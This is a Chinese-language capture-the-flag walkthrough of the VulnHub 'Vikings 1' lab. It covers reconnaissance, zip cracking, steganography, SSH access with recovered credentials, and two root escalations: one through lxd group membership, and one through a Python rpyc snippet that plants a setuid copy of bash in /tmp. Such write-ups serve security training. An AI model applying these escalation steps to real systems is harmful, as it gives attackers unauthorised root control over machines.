前期准備:
靶機下載地址:https://www.vulnhub.com/entry/vikings-1,741/
kali攻擊機ip:192.168.11.129
靶機ip:192.168.11.185
一、信息收集
1.使用nmap對目標靶機進行掃描
發現開放了22和80端口。
2. 80端口
訪問80端口:
檢查 site 目錄下的內容:
檢查了一下沒發現什么,掃一下目錄:
發現有個 war.txt 文件,查看一下:
再訪問 /war-is-over :
應該是個文件,下載下來 base64 解碼看看是個什么:
發現是個zip壓縮包,解壓一下:
發現需要密碼,那就破解一下:
解得密碼: ragnarok123,解壓后發現試一張圖片:
看下里面有沒有藏什么文件或者隱寫:
發現藏有一個壓縮包,壓縮包里有個 user 文件:
是一個賬戶: floki:f@m0usboatbuilde7,ssh登錄。
二、漏洞利用
進入系統后查下權限:
發現是 lxd 組里的,可以在這里提權。
一、第一種方法 - lxd 提權
查看一下 lxd:
發現可以用,查找一下了以利用的漏洞:
發現 46978.sh 查看一下怎么利用:
Step 1: Download build-alpine => wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine [Attacker Machine]
Step 2: Build alpine => bash build-alpine (as root user) [Attacker Machine]
我這里下載不了 alpine-devel@lists.alpinelinux.org-6165ee59.rsa.pub ,說缺少文件校驗和。沒辦法。后續按照步驟做就可以獲得 root 權限
Step 3: Run this script and you will get root [Victim Machine]
Step 4: Once inside the container, navigate to /mnt/root to see all resources from the host machine
第二種方法
在 floki 根目錄下還發現了些別的信息:
readme.txt 中說的意思是找到 Ragner ,這應該是個用戶,但是不知道密碼。
boat 文件中說的是 collatz-conjecture (考拉茲猜想),又稱為3n+1猜想等,是指對於每一個正整數,如果它是奇數,則對它乘3再加1,如果它是偶數,則對它除以2,如此循環,最終都能夠得到1。如n = 6,根據上述數式,得出 6→3→10→5→16→8→4→2→1。boat 中的意思是求第 29 個素數的 collatz-conjecture 結果,網上差的結果是 29th Prime Number = 109 。所以寫個小腳本:
def collatz(x):
result = [109]
while x != 1:
if x % 2 == 1:
x = (3 * x) + 1
else:
x = (x / 2)
if x <= 255:
result.append(int(x))
return result
print(collatz(109))
Decimal 解碼得:mR)|>^/Gky[gz=\.F#j5P(
(https://gchq.github.io/CyberChef/ 這網站解碼功能很全,就是初次訪問的有點慢)
登錄 Ragner 用戶:
寫個交互式 shell:
查看一下文件:
user.txt :
應該是一個 flag。在查看下別的文件:
發現 .profile 中在運行 rpyc,
這個還是 ragnar 用戶多出來的,那就監聽一下 tcp 連接:
發現在監聽 18812 端口,網上查了一下發現 rpyc_classic 是不安全的:
這里將root權限直接復制過來:
import rpyc
conn = rpyc.classic.connect('localhost')
def getshell():
import os
os.system('cp /bin/bash /tmp/bashroot && chmod +s /tmp/bashroot')
fn = conn.teleport(getshell)
fn()
運行 bashroot 並查看flag: